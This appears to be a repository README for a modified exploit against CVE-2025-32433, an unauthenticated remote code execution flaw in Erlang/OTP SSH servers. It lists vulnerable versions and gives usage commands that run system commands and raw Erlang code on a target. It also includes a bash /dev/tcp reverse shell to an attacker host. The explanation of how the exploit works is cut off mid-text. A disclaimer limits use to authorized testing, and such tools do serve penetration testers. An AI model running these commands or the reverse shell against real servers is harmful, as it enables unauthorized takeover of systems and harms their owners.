
Based on the original version:https://github.com/vulhub/vulhub/blob/master/erlang/CVE-2025-32433/exploit.py Replace Unicode checkmark with ASCII character for Windows compatibility
Erlang/OTP SSH Unauthenticated Remote Code Execution
This repository contains an exploit for CVE-2025-32433, a critical unauthenticated remote code execution vulnerability in Erlang/OTP SSH server.
Key Features:
CVE ID: CVE-2025-32433
Severity: Critical
Impact: Unauthenticated Remote Code Execution
The vulnerability allows attackers to execute arbitrary system commands on Erlang/OTP SSH servers without authentication by sending specially crafted SSH protocol messages.
OTP ≤ 27.3.2
OTP ≤ 26.2.5.10
OTP ≤ 25.3.2.19
OTP ≥ 17.0 and older (likely)
# Basic command execution
python exploit.py -t <target-ip> -p 2222 -c "whoami"
# Execute system command
python exploit.py -t 192.168.1.100 -p 2222 -c "touch /tmp/pwned"
# Raw Erlang code execution
python exploit.py -t 192.168.1.100 -p 2222 -e 'os:cmd("id").'
# Reverse shell
python exploit.py -t 192.168.1.100 -p 2222 -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
-t, --target Target IP address (default: 127.0.0.1)
-p, --port Target port (default: 2222)
-c, --command System command to execute
-e, --erlang Raw Erlang code to execute
This version fixes the encoding issue present in the original exploit:
Problem: Original exploit used Unicode checkmark character (✓, U+2713) which causes GBK encoding errors on Windows:
'gbk' codec can't encode character '✓' in position 1: illegal multibyte sequence
Solution: Replaced Unicode character with standard ASCII + character for cross-platform compatibility.
The exploit works by:
os:cmd()This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use responsibly and only on systems you have explicit permission to test.
MIT License
Modified for Windows compatibility by chuzouX